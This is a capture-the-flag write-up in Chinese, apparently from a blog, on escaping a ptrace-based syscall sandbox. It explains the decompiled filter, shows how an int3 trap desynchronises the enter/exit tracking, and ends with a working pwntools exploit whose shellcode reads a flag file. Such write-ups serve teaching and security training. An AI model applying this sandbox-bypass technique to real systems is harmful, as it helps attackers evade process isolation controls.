Ptrace 沙箱繞過

Ptrace

二進制文件保護全開,使用了ptrace限制了可以使用的系統(tǒng)調(diào)用,具體的限制可以在main函數(shù)中看到:

main函數(shù):

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // eax
  __pid_t v4; // eax
  unsigned int v6; // ebx
  char v7; // bp
  const char *v8; // rsi
  int stat_loc; // [rsp+Ch] [rbp-10Ch]
  char v10; // [rsp+10h] [rbp-108h]
  __int128 v11; // [rsp+70h] [rbp-A8h]
  __int128 v12; // [rsp+80h] [rbp-98h]
  unsigned __int64 v13; // [rsp+E8h] [rbp-30h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("************* Try to get flag in my ptrace sandbox! *************");
  puts("* Give me your shellcode:");
  v3 = fork();
  if ( v3 < 0 )
  {
    v8 = "Fork error with code %d!\n";
    __errno_location();
    goto LABEL_24;
  }
  // 父進程中執(zhí)行的內(nèi)容
  if ( v3 )
  {
    v6 = v3;
    alarm(0x10u);
    // wait 設置只等待v6的子進程,
    // 第三個參數(shù)設置為 WNOHANG 則可以使調(diào)用者不阻塞,當前為阻塞父進程,等待子進程退出
    waitpid(v6, &stat_loc, 0); // waitpid 的時候會被阻塞,當子進程(目標進程)的執(zhí)行被暫停或者子進程終止的時候,
                                // waitpid 函數(shù)會返回,然后同時獲得子進程(目標進程)的一些 status
    v7 = 0;
    v8 = "Wrong signal %#x recieved!\n";
    if ( stat_loc != 4991 )
    {
LABEL_24:
      __printf_chk(1LL, v8);
      exit(-1);
    }
    while ( 1 )
    {
      while ( 1 )
      {
        /*
        形式:ptrace(PTRACE_SYS, pid, 0, signal)
     描述:繼續(xù)執(zhí)行。pid表示被跟蹤的子進程,signal為0則忽略引起調(diào)試進程中止的信號,若不為0則繼續(xù)處理信號signal。
        與PTRACE_CONT不同的是進行系統(tǒng)調(diào)用跟蹤。在被跟蹤進程繼續(xù)運行直到調(diào)用系統(tǒng)調(diào)用開始或結(jié)束時,被跟蹤進程被中止,并通知父進程。
     PTRACE_SYSCALL 主要是便于在進入和退出syscall的時候檢測syscall的參數(shù)等
        */
        if ( ptrace(PTRACE_SYSCALL, v6, 0LL, 0LL) ) //重新運行子進程。
        {
          __errno_location();
          v8 = "PTRACE_SYSCALL error with code %d!\n";
          goto LABEL_24;
        }
        waitpid(v6, &stat_loc, 0);  // 阻塞的時候翻轉(zhuǎn)v7,認為處理完了return
        if ( BYTE1(stat_loc) == 11 )
          goto LABEL_22;
        if ( (_BYTE)stat_loc != 127 )
        {
          puts("Take too long time!");
          exit(-1);
        }
        if ( !v7 )   // 第一次會break,也就是說為0的話會break,進入ptrace過濾的部分
          break;
        v7 = 0;
      }
      if ( ptrace(PTRACE_GETREGS, v6, 0LL, &v10) )
        goto LABEL_22;
      if ( *((_QWORD *)&v12 + 1) != 9LL )
      {
        if ( *((_QWORD *)&v12 + 1) <= 9uLL )
        {
          if ( *((_QWORD *)&v12 + 1) <= 1uLL )
            goto LABEL_19;
        }
        // 37是kill
        else if ( *((_QWORD *)&v12 + 1) == 60LL || *((_QWORD *)&v12 + 1) == 231LL || *((_QWORD *)&v12 + 1) == 37LL )
        {
          goto LABEL_19;
        }
        // 不滿足過濾則將
        __printf_chk(1LL, "Block syscall %lld\n");
        // 注意這里是long long 類型的128位,也就是說會重置系統(tǒng)調(diào)用號為0
        v11 = 0LL;
        v12 = 0LL;
        // 如果出錯就kill掉子進程
        if ( ptrace(PTRACE_SETREGS, v6, 0LL, &v10) )
        {
LABEL_22:
            // kill 掉子進程
          kill(v6, 9);
          return 0LL;
        }
      },
LABEL_19:
      v7 = 1; // 在while循環(huán)中, 記錄使用系統(tǒng)調(diào)用進入還是返回,為0則是進入
    }
  }
  // 本進程被其父進程所跟蹤,此時程序不能被調(diào)試
  ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  v4 = getpid();
  // 獲取子進程pid,并發(fā)送信號將其stop掉
  if ( kill(v4, 19) < 0 )
  {
    v8 = "Kill error with code %d!\n";
    __errno_location();
    goto LABEL_24;
  }
  sub_DF0();
  return 0LL;
}

// 子進程阻塞 kill(v4,19)
// waitpid 返回
// ptrace syscall 繼續(xù)執(zhí)行
// 


題目分析

ptrace沙箱繞過題目,主要考察的知識點在于對ptrace和waitpid、阻塞和進程的相關概念:

  • ptrace(PTRACE_SYS, pid, 0, signal) 在被跟蹤進程中繼續(xù)運行,直到調(diào)用系統(tǒng)調(diào)用開始或結(jié)束時,被跟蹤進程被暫停,并通知父進程(被跟蹤進程收到任何信號(除SIGKILL)都會停止,將信號轉(zhuǎn)給跟蹤器(觸發(fā)wait))。
  • waitpid函數(shù),調(diào)用waitpid 設置相應的參數(shù)時候當前進程會被阻塞,當子進程(目標進程)的執(zhí)行被暫?;蛘咦舆M程終止的時候,會繼續(xù)執(zhí)行
PTRACE_SYSCALL, PTRACE_SINGLESTEP
              Restart the stopped tracee as for PTRACE_CONT, but arrange for
              the tracee to be stopped at the next entry to or exit from a
              system call, or after execution of a single instruction,
              respectively.  (The tracee will also, as usual, be stopped
              upon receipt of a signal.)  From the tracer's perspective, the
              tracee will appear to have been stopped by receipt of a SIG‐
              TRAP.  So, for PTRACE_SYSCALL, for example, the idea is to
              inspect the arguments to the system call at the first stop,
              then do another PTRACE_SYSCALL and inspect the return value of
              the system call at the second stop.  The data argument is
              treated as for PTRACE_CONT.  (addr is ignored.)

程序的執(zhí)行流程:

  • 父進程開始執(zhí)行 調(diào)用fork fork出子進程
  • 在fork出的子進程中,調(diào)用ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);此時程序不能被調(diào)試,然后調(diào)用kill(getpid(),19),向父進程發(fā)送一個sigstop信號量
  • 父進程中調(diào)用ptrace重新運行子進程并再次使用waitpid阻塞,等待子進程執(zhí)行系統(tǒng)調(diào)用時候發(fā)來的信號傳輸?shù)絯aitpid函數(shù)中的status,進行系統(tǒng)調(diào)用的過濾

Ptrace沙箱繞過

  • 根據(jù)ptrace_syscall的特性,當進入系統(tǒng)調(diào)用和退出系統(tǒng)調(diào)用的時候都會發(fā)出信號
  • 因此設置了V7作為判斷是進入還是退出系統(tǒng)調(diào)用的flag
    • 只有在進入的時候會break出第一個循環(huán),然后進行后續(xù)的filter
  • 如果我們能夠翻轉(zhuǎn)該flag
    • 將進程進入的時候認為是退出,則此時不會對系統(tǒng)調(diào)用進行過濾
    • waitpid是阻塞當前進程,等待接收子進程的信號,因此如果單獨給父進程發(fā)送一個信號量,但是不執(zhí)行任何系統(tǒng)調(diào)用,比如連續(xù)發(fā)送兩個軟中斷,第一次會設置為1,則第二次會進入前邊一個while循環(huán)中出不來。類似如下偽代碼:
flag = False
while(1){
    ptrace_syscall;
    waitpid()
    if (!flag){
        //filter
        flag = True
    } else{
        flag = False
    }
}

本來syscall的進入和退出都是一對的,現(xiàn)在我先使用軟中斷進入filter進行判斷,會把其設置成True,然后再使用系統(tǒng)調(diào)用,此時會認為是退出狀態(tài)不做filter檢測,這樣就繞過了ptrace的沙箱。

user_regs_struct結(jié)構(gòu)

struct user_regs_struct
{
  unsigned long r15;
  unsigned long r14;
  unsigned long r13;
  unsigned long r12;
  unsigned long rbp;
  unsigned long rbx;
  unsigned long r11;
  unsigned long r10;
  unsigned long r9;
  unsigned long r8;
  unsigned long rax;
  unsigned long rcx;                    // v11   bp-0xA8
  unsigned long rdx;
  unsigned long rsi;                    // v12   bp-0x98
  unsigned long rdi;              // v12 + 1
  unsigned long orig_rax;
  unsigned long rip;
  unsigned long cs;
  unsigned long eflags;
  unsigned long rsp;
  unsigned long ss;
  unsigned long fs_base;
  unsigned long gs_base;
  unsigned long ds;
  unsigned long es;
  unsigned long fs;
  unsigned long gs;
};

其中幾個比較關鍵的系統(tǒng)調(diào)用號是:

64位

read 0
write 1
mmap 9       
alarm 37
exit 60
exit_group 231

linux信號值

/*
1) SIGHUP   2) SIGINT   3) SIGQUIT  4) SIGILL   5) SIGTRAP
 6) SIGABRT  7) SIGBUS   8) SIGFPE   9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG  24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF 28) SIGWINCH    29) SIGIO   30) SIGPWR
31) SIGSYS  34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
19是一種以編程方式發(fā)送的信號
20通常由用戶在鍵盤上輸入,通常是Control- Z
*/

exp

from pwn import *
import pwnlib.shellcraft as sc
import re


p = process("./ptrace")
# p = remote("124.16.75.161",40027)
# e = ELF("./ptrace")

context(os='linux',arch='amd64',log_level="debug")
p.recv()
# sub = subprocess.Popen('./a.out', shell=True, stdout=subprocess.PIPE)
# stdout_value, stderr_value = sub.communicate("")
# rand = hex(long(stdout_value))
# rand = '0x'+ rand[-2:]

shellcode = "int 3" + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor rdx, rdx /* 0 */
xor rsi, rsi /* 0 */
/* call open() */
xor rax, rax
mov rax, 2
syscall
'''

shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode)

zz = [1362961854,247196614,490125681,1821600200,663564497,851120067,1032144666,379292314,1095058085,1072414002,1888930265,978602442,1608555725,1664343457,870446574,1268151209,2053709597,1366143462,231284293,1415307182,1465670779,837932423,1030255982,1781959270,895163495,37728456,1283394886,469644965,688851060,1682402631,229957252,2049414308,1291994784,1992507776,688956118,226408322,49344032,1800899526,791535526,142367739,1892858414,1307242697,1807587550,910536308,1345687993,953676466,1779722827,281042229,1340324363,1174770966,804946825,1668132063,963870702,1164701926,625574920,1010116308,1485186114,1761929928,1901922127,1172987537,1449925971,1905297130,593023617,1540316970,1505255699,919045247,1860036268,2070206155,1403270174,2024796635,1892980531,59657309,959921715,128124634,1972193458,1938477893,1317047840,34318572,821474829,2036975011,705273836,1383993873,457403247,402076421,916748998,282641729,483065148,297518637,605998316,978532050,309233502,959636726,99034040,481924634,528820998,790901367,2144193867,671118927,1299290218,1368554978,1280000476,357897170,167543300,1623621630,1817655156,879694493,944437394,2145269023,940377955,848445600,61506113,1646104576,1072522491,686871809,969460914,398741033,1981453843,167465173,768013411,980757823,1316569438,1935448114,961625806,1194025819,644553929,926774545,341415078,1879767336,776970574,1885219929,41713222,1858825750,89488815,936052574,1427306202,1719954367,636657464,737720420,2147160099,747390845,435971577,861670743,274394288,1069574069,521360469,1131442580,872786314,902885566,1750850912,789121164,1498808623,802052233,1028569692,604674240,75727781,1972481147,861117572,1213365950,783695074,2017070565,1621527342,1778538365,216805847,220145187,1098805999,735518618,1789953718,1370763541,1299911471,1756732357,629145292,1149289289,97588940,1555220137,1971651762,109708753,27729547,1933357444,1204563881,1154652377,1505032005,786795029,1652129219,333460683,1733406473,808585345,649082139,340108261,568056818,268547135,715728064,1486581793,611413940,1474951710,854920347,1753724704,946445367,220736611,1690927419,2029395227,1894124833,8618821,1911736714,1452167676,235359367,1604291655,511503689,2135153157,1686239344,1039204264,988361227,2035539688,1836681875,1821186041,538190961,1269720287,1319489379,1127563246,1799742757,449221432,1343628171,185195278,2124480171,1242240284,1278110168,397434096,1377167671,411865622,898691269,304775446,389009796,341395413,1114953687,1703133473,628683623,421441278,190350882,918256405,235659002,967989454,1970683595,1139382834,1282014684,377366126,886959811,1505937094,1583319761,510865933,1229180250,922122211,1807801867,1348791205,1875398431,10646886,742734601,1636708284]

payload = ""
for i in range(256):
    if i < len(shellcode):
        if ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) < 0:
            payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) + 256)
        else:
            payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16))
    else:
        if ord('\x90') - int(hex(zz[i])[-2:], 16) < 0:
            payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16) + 256) 
        else:
            payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16))

p.send(payload)
# p.send(shellcode+(100-len(shellcode))*'0x90')
p.interactive()

參數(shù)鏈接:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

友情鏈接更多精彩內(nèi)容